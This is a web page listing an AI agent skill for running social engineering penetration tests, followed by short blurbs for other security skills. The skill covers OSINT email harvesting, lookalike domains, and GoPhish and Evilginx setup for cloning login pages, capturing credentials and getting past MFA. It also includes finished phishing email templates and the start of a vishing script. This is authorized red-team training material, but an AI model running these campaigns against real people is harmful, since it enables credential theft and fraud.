acquiring-disk-image-w…
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through
Design and execute a social engineering penetration test including phishing, vishing, smishing, and physical
$ npx -y skills add Mikaru0Mystic/sectinel --skill conducting-social-engineering-penetration-test --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/conducting-social-engineering-penetration-testContext preview
The summary Claude sees to decide when to auto-load this skill.
Design and execute a social engineering penetration test including phishing, vishing, smishing, and physical
name: conducting-social-engineering-penetration-test description: Design and execute a social engineering penetration test including phishing, vishing, smishing, and physical pretexting campaigns to measure human security resilience and identify training gaps. domain: cybersecurity subdomain: penetration-testing tags: - social-engineering - phishing - vishing - pretexting - GoPhish - SET - OSINT - security-awareness - red-team version: '1.0' author: mahipal license: Apache-2.0 atlas_techniques: - AML.T0088 - AML.T0052 nist_ai_rmf: - GOVERN-6.2 - MAP-5.2 nist_csf: - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07
Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx.
# Email harvesting theHarvester -d targetcorp.com -b all -l 500 -f harvester_results # LinkedIn OSINT (manual + tools) # Gather: names, roles, departments, email format # Identify: new hires, IT admins, finance team, executives # Email format discovery # Check: first.last@, flast@, firstl@ # Verify with: hunter.io, phonebook.cz, email-checker.net # Social media OSINT # Twitter/X: employees posting about work tools/frustrations # Facebook: corporate event photos, office layout # GitHub: employee repos with corporate email addresses # Domain intelligence dig targetcorp.com MX +short dig targetcorp.com TXT +short # Check for SPF, DKIM, DMARC records # Weak DMARC = easier email spoofing # Check breach databases (authorized) # HaveIBeenPwned API for corporate emails # Identify employees with compromised credentials
| Group | Count | Pretext | Attack Vector | |-------|-------|---------|--------------| | Finance | 15 | Invoice approval | Phishing (credential harvest) | | IT Help Desk | 8 | Password reset | Vishing | | Executives | 5 | Board meeting update | Spear phishing | | New Hires (< 90 days) | 12 | HR onboarding form | Phishing (payload) | | All Employees | 200 | IT security update | Broad phishing |
# Register lookalike domain # targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net # Set up GoPhish server sudo apt install gophish # Edit config.json for admin and phishing server ports gophish # Configure sending profile in GoPhish # SMTP server: mail.attackdomain.com # From: it-security@targetcorp-secure.com # Headers: proper DKIM/SPF for attack domain # Create landing page (credential harvesting) # Clone legitimate login page (Office 365, Okta, etc.) # GoPhish: Import Site -> https://login.microsoftonline.com # Enable: Capture Credentials, Capture Passwords # Redirect to real site after capture # Set up Evilginx for MFA bypass (authorized testing only) evilginx2 : config domain attackdomain.com : config ipv4 <server_ip> : phishlets hostname o365 login.targetcorp-secure.com : phishlets enable o365 : lures create o365 : lures get-url 0
{
"campaign": {
"name": "IT Security Update - Q1 2025",
"template": {
"name": "Mandatory Security Training",
"subject": "Action Required: Complete Security Awareness Training by Friday",
"html": "<html>...[branded email with urgency]...</html>",
"from": "IT Security Team <security@targetcorp-secure.com>"
},
"landing_page": "Office 365 Login Clone",
"sending_profile": "Phishing SMTP",
"groups": ["All Employees - Batch 1"],
"launch_date": "2025-03-10T09:00:00Z",
"send_by_date": "2025-03-10T12:00:00Z"
}
}**Template 1 — IT Security Update:**
Subject: [Action Required] Mandatory Password Reset - Security Incident
From: IT Security <security@targetcorp-secure.com>
Dear {FirstName},
Our security team has detected unauthorized access attempts on our systems.
As a precautionary measure, all employees must reset their passwords immediately.
Please click below to reset your password within the next 24 hours:
[Reset Password Now] -> {phishing_url}
Failure to comply may result in temporary account suspension.
Thank you,
IT Security Team**Template 2 — Finance Invoice:**
Subject: Invoice #INV-2025-4821 - Approval Required
From: Accounts Payable <ap@targetcorp-secure.com>
Hi {FirstName},
Please review and approve the attached invoice from our vendor.
Amount: $47,250.00 | Due: March 15, 2025
[View Invoice] -> {phishing_url}
Best regards,
Accounts PayablePretext: IT Help Desk calling about suspicious login Caller: "Hi, this is [Name] from the IT Help Desk. Am I speaking with [Target Name]?" [Wait for confirmation] Caller: "We've detected some unusual l
Open-source security arsenal for AI coding agents: 784 cybersecurity skills, scanner integrations, and a security MCP for Claude Code, Cursor, opencode, Gemini CLI, Cline, and any agentskills.io agent. Mapped to OWASP, MITRE ATT&CK, NIST CSF, D3FEND, ATLAS.
Repo: Mikaru0Mystic/sectinel
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass,
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative